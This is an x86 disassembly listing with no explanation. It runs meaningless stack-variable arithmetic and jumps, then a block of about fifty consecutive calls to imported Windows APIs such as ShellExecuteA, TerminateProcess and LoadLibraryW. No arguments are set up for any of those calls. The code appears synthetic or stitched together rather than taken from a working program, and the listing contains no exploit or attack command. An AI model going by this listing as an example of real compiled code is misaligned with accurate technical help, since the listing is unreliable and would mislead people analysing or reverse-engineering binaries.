jne 0x61dc12
mov edx, dword [ebp - 0x1c]
add edx, 1
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x10]
jl 0x61dc12
mov ecx, dword [ebp - 0x5c]
cmp ecx, dword [ebp - 0x28]
jge 0x61dc59
mov edx, dword [ebp - 0x28]
or edx, dword [ebp - 0x24]
mov dword [ebp - 0x124], edx
mov eax, dword [ebp - 0x28]
add eax, 1
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x124], 0
jne 0x61dc40
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp - 0x2c]
jl 0x61dc40
mov edx, dword [ebp - 0x18]
xor edx, dword [ebp - 8]
je 0x61dc59
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x3c]
jge 0x61dc59
mov ecx, dword [ebp - 0x40]
cmp ecx, dword [ebp - 0x58]
jge 0x61dc59
mov edx, dword [ebp - 0x5c]
add edx, 1
mov dword [ebp - 0x5c], edx
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x1c]
jge 0x61dc69
mov ecx, dword [ebp - 0x30]
cmp ecx, dword [ebp - 0x34]
jl 0x61dc96
mov edx, dword [ebp - 0x40]
imul edx, dword [ebp - 0x28]
mov dword [ebp - 0x128], edx
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x12c], eax
mov ecx, dword [ebp - 0x28]
add ecx, 1
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x128]
cmp edx, dword [ebp - 0x12c]
jge 0x61dcdb
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x68]
jl 0x61dcd2
mov ecx, dword [ebp - 0x30]
cmp ecx, dword [ebp - 4]
jge 0x61dcb2
mov dword [ebp - 0xbc], 1
jmp 0x61dcbc
mov dword [ebp - 0xbc], 0
mov edx, dword [ebp - 0x18]
xor edx, dword [ebp - 0xbc]
je 0x61dcdb
mov eax, dword [ebp - 0x58]
or eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x34]
jge 0x61dcdb
mov ecx, dword [ebp - 0x58]
add ecx, 1
mov dword [ebp - 0x58], ecx
mov edx, dword [ebp - 0x44]
imul edx, dword [ebp - 0x58]
cmp edx, dword [ebp - 0x34]
jl 0x61dd00
mov eax, dword [ebp - 0x6c]
add eax, dword [ebp - 8]
je 0x61dd09
mov ecx, dword [ebp - 0x2c]
add ecx, 1
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x2c]
cmp edx, dword [ebp - 0x34]
jge 0x61dd09
mov eax, dword [ebp - 0x20]
add eax, 1
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 8]
sub ecx, 1
mov dword [ebp - 8], ecx
jmp 0x61db9c
call dword [sym.imp.USER32.dll_RedrawWindow]
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
call dword [sym.imp.USER32.dll_AppendMenuA]
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
call dword [sym.imp.KERNEL32.dll_DeleteTimerQueueTimer]
call dword [sym.imp.CRYPT32.dll_CertFindCertificateInStore]
call dword [sym.imp.USER32.dll_SetMenu]
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconA]
call dword [sym.imp.USER32.dll_PostMessageA]
call dword [sym.imp.USER32.dll_SetForegroundWindow]
call dword [sym.imp.KERNEL32.dll_CreateEventA]
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.USER32.dll_ModifyMenuA]
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call dword [sym.imp.USER32.dll_DestroyMenu]
call dword [sym.imp.KERNEL32.dll_ChangeTimerQueueTimer]
call dword [sym.imp.USER32.dll_DefWindowProcA]
call dword [sym.imp.USER32.dll_GetDlgItem]
call dword [sym.imp.CRYPT32.dll_CertFreeCertificateContext]
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
call dword [sym.imp.USER32.dll_LoadStringA]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
call dword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
call dword [sym.imp.USER32.dll_GetWindowRect]
call dword [sym.imp.GDI32.dll_DeleteObject]
call dword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
call dword [sym.imp.USER32.dll_DestroyWindow]
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
call dword [sym.imp.USER32.dll_GetWindowTextA]
call dword [sym.imp.KERNEL32.dll_FindClose]
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
call dword [sym.imp.USER32.dll_DestroyIcon]
call dword [sym.imp.KERNEL32.dll_QueryDepthSList]
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
call dword [sym.imp.USER32.dll_CallWindowProcA]
call dword [sym.imp.KERNEL32.dll_TryEnterCriticalSection]
call dword [sym.imp.CRYPT32.dll_CertCloseStore]
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
call dword [sym.imp.USER32.dll_EnumDisplayMonitors]
call dword [sym.imp.USER32.dll_RemovePropA]
call dword [sym.imp.USER32.dll_IsWindowVisible]
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
call dword [sym.imp.USER32.dll_GetPropA]
call dword [sym.imp.KERNEL32.dll_FreeLibraryAndExitThread]
call fcn.0040e0c0
mov esp, ebp
pop ebp
ret